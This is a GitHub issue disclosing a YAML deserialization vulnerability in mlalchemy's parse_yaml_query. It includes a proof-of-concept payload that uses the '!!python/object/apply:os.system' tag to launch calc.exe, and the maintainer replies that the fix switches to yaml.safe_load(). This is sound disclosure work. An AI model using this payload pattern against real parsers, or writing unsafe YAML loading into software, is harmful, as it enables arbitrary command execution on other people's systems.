Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

parse_yaml_query method is vulnerable #1

Closed
Joel-MalwareBenchmark opened this issue Nov 7, 2017 · 1 comment
Closed

parse_yaml_query method is vulnerable #1

Joel-MalwareBenchmark opened this issue Nov 7, 2017 · 1 comment

Comments

@Joel-MalwareBenchmark
Copy link

from mlalchemy import parse_yaml_query
parse_yaml_query('!!python/object/apply:os.system ["calc.exe"]')

Hi, there is a vulnerability in parse_yaml_query method in parser.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.

@thanethomson
Copy link
Owner

Thanks for reporting! Just released v0.2.2, now using yaml.safe_load() to load YAML content.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants